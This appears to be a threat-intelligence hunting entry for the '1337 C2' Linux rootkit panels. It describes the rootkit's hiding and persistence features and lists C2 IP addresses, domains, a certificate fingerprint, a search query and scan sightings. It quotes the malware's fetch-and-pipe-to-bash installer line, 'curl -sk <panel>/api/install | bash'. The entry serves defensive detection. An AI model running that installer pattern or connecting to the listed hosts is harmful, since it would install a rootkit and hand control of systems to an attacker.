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1337_GWTK ('1337 C2') Linux rootkit control panels

family: gtwk-1337-c2-panel-2026-11

Control panels of 1337_GWTK, a Linux malware-as-a-service sold as '1337 C2'. A bash installer fetched from the panel (curl -sk <panel>/api/install | bash, with variants for older kernels) builds or downloads a kernel rootkit, gtwk_module, which hides the operator's processes, files and network connections, blocks kernel updates and restarts the agent when it is killed. The Go agent, gtwk_app, runs commands, moves files and takes screenshots for the panel. The panel's login page already carries the whole operator dashboard, so it can be recognised before anyone logs in. A match means a page built from that panel, or a scan of a known panel host such as 217.76.55[.]116, 109.199.105[.]207 or 109.199.110[.]80, the seller's site markasescobar[.]com (also served as refocusanalytics[.]com), or 'AutoRoot C2', a second panel on the same servers.

Anchors

Hunting ruleGTWK_1337_C2_Panel
SMQL queryrun
title:"1337 C2" OR title:"AutoRoot C2" OR cert_fingerprint:47d99c4b15c489d5925b18c948952640958a87648d795f577b7f5d643dafddef OR ip:217.76.55.116 OR ip:109.199.105.207 OR ip:109.199.110.80 OR ip:169.58.3.197 OR domain:markasescobar.com OR domain:refocusanalytics.com

Provenance

Added: 2026-11-08 19:16
Rule anchor: the panel page's own API routes, its kernel-specific install commands and its terminal prompt, which survive a change of title. Search anchor: the two panel titles, the self-signed certificate the panels share, and the known panel and seller hosts. 'AutoRoot C2' is linked to this operator by its servers and naming, not by shared panel code.

Sightings (14)Atom feed

HostScanScriptMatchScanned
109.199.105.207024647bb…—query2026-11-08 19:24
109.199.105.207:8443024647bb…https://109.199.105.207:8443/loginrule2026-11-08 19:24
109.199.110.8010949599…—query2026-11-08 19:09
217.76.55.116159e7a67…—query2026-11-08 19:06
109.199.105.2074d9f6272…—query2026-11-08 19:02
217.76.55.116537c1b49…—query2026-11-08 19:02
refocusanalytics.comac757e03…—query2026-11-08 19:02
markasescobar.com7f0c2da3…—query2026-11-08 19:02
217.76.55.116f2e1dc6d…https://217.76.55.116/login#htmlrule2026-11-08 19:02
217.76.55.116f2e1dc6d…—query2026-11-08 19:02
109.199.105.207:8443aba604bc…https://109.199.105.207:8443/login#htmlrule2026-11-08 19:02
109.199.105.207aba604bc…—query2026-11-08 19:02
217.76.55.116:844310030263…https://217.76.55.116:8443/login#htmlrule2026-11-08 19:02
217.76.55.11610030263…—query2026-11-08 19:02